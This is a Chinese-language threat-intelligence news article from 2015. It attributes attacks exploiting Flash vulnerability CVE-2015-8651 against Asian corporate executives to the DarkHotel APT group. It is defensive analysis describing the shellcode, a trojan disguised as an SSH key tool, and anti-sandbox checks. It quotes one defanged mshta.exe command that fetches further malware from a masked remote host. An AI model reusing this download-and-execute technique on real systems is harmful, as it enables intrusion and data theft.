境外“暗黑客栈”组织对国内企业高管发起APT攻击

简介:

Abode于12月28日发布了一个应急补丁用于修复Flash 播放器的多个安全漏洞。有线索表明其中之一已被用于APT(高级可持续性)攻击,国外有媒体揣测其攻击目标为国内某著名IT企业。

国内新兴安全威胁情报服务公司微步在线溯源分析表明确有境外黑客团伙利用此漏洞针对中国及亚洲企业的高管发起APT攻击,此团伙即代号为暗黑客栈(DarkHotel) 的APT攻击组织。现阶段尚不确定此攻击是否有更复杂的背景。

境外“暗黑客栈”组织对国内企业高管发起APT攻击

威胁事件分析

在Adobe于12月28日发布的19个安全漏洞的应急(OOB)补丁中,CVE-2015-8651 被Adobe 标注为已用于APT攻击。微步在线通过对多宗活跃APT威胁事件的跟踪及对CVE-2015-8651攻击的分析,确定了攻击流及攻击者身份。

通过对捕获的可疑SWF文件进行分析,确认此样本利用了Adobe Flash整数溢出漏洞 (即此次Adobe修复的CVE-2015-8651漏洞)。受攻击者访问此SWF文件后,漏洞利用成功会跳转到下面这段shellcode:

境外“暗黑客栈”组织对国内企业高管发起APT攻击

其主要功能是下载一个名为update.exe 的文件到系统的%temp% 目录下, 通过RC4解密并且通过ECHO加可执行文件的“MZ”头来构建有效的PE文件,然后运行。

境外“暗黑客栈”组织对国内企业高管发起APT攻击

Update.exe约1.3Mb, 具有完整的文件属性,伪装成SSH密钥生成工具:

境外“暗黑客栈”组织对国内企业高管发起APT攻击

通过逆向分析发现,木马作者篡改和裁剪了正常的OpenSSL文件,篡改后的版本只提供一个参数:-genkeypair。无论是否传递此参数,木马文件都会首先释放一个公钥在当前目录用于干扰判断,同时进入真正的恶意代码部分。此样本未进行代码混淆,但是采用了多种反调试/反虚拟机技术及字段加密,通过检测各种系统环境来判断是否有反病毒软件及沙箱存在,比如:

境外“暗黑客栈”组织对国内企业高管发起APT攻击

Update.exe是一个Trojan Downloader, 利用执行mshta.exe 来下载木马文件,木马文件服务器位于冰岛。形式如下:

C:Windowssystem32mshta.exe hxxp://****.com/image/read.php…..

攻击团伙分析

随着对此攻击事件的目标、工具、手法和过程更详细的分析,微步在线发现其特点和暗黑客栈(Darkhotel)有着非常惊人的一致。

暗黑客栈(Darkhotel)APT攻击团伙的踪迹最早可以追溯到2007年,其从2010年开始更多的利用企业高管在商业旅行中访问酒店网络的时机,进行APT攻击来窃取信息。因此在2014年卡巴斯基发布针对此团队的研究报告时,将其命名为“Darkhotel”。此团伙攻击目标集中在亚太地区开展业务和投资的企业高管(如:CEO、SVP、高管及高级研发人员),攻击的行业包括大型电子制造和通信、投资、国防工业、汽车等。

此团队使用零日漏洞(特别是Flash类型)来进行攻击,并规避最新的防御措施,同时也会盗窃合法的数字证书为后门软件及监听工具进行签名。如果有一个目标已经被有效感染,往往就会从作案点删除他们的工具,进而隐藏自己的活动踪迹。从其行动特点看,具有极高的技术能力及充沛的资源。

微步在线对此次事件和暗黑客栈(Darkhotel)的特点进行了对比,认为有充足理由认定其就是始作俑者。

境外“暗黑客栈”组织对国内企业高管发起APT攻击


原文发布时间为:2015-12-31

本文来自云栖社区合作伙伴至顶网,了解相关信息可以关注至顶网。





相关文章
|
Java 微服务 Spring
@EnableDiscoveryClient注解的作用
@EnableDiscoveryClient注解的作用 @EnableDiscoveryClient 及@EnableEurekaClient 类似,都是将一个微服务注册到Eureka Server(或其他 服务发现组件,例如Zookeeper、Consul等)
1957 0
|
9月前
|
数据采集 安全 网络安全
动态HTTP代理与静态HTTP代理:优缺点详析
HTTP代理服务在网络安全、数据获取及访问控制中扮演重要角色,主要分为动态和静态两种形式。动态HTTP代理通过频繁更换IP地址提供高度匿名性和灵活性,适用于网络爬虫、社交媒体管理和网络安全等场景,但存在连接不稳定和安全性问题。静态HTTP代理则提供固定IP地址,确保长期稳定连接,适合远程办公、跨境电商和SEO优化,但易被封禁且灵活性差。用户应根据需求选择合适的代理类型,并确保合法合规使用。
178 1
|
数据采集 消息中间件 API
Python爬虫验证码识别——手机验证码的自动化处理
Python爬虫验证码识别——手机验证码的自动化处理
882 0
|
机器学习/深度学习 人工智能 搜索推荐
|
存储 负载均衡 NoSQL
Tomcat 9.X(9.0.74)集群实现Session共享(基于redisson)
本文主要介绍了tomcat集群环境下基于redis+Redisson实现session共享,分享给大家,供广大从业者学习和参考。
13100 4
|
存储 Ubuntu Linux
在Linux中,如何在Linux中使用LXD进行容器管理?
在Linux中,如何在Linux中使用LXD进行容器管理?
|
负载均衡 Java 微服务
Java错误:com.netflix.client.ClientException: Load balancer does not have available server for client
Java错误:com.netflix.client.ClientException: Load balancer does not have available server for client
|
分布式计算 Hadoop 网络安全
[m1pro ] ssh: connect to host localhost port 22: Connection refused
[m1pro ] ssh: connect to host localhost port 22: Connection refused
273 1
|
机器学习/深度学习 算法 搜索推荐
机器学习--模型评估、过拟合和欠拟合、模型验证
机器学习--模型评估、过拟合和欠拟合、模型验证
30322 2
机器学习--模型评估、过拟合和欠拟合、模型验证
|
编解码 缓存 负载均衡
TestPattern error
TestPattern error
664 0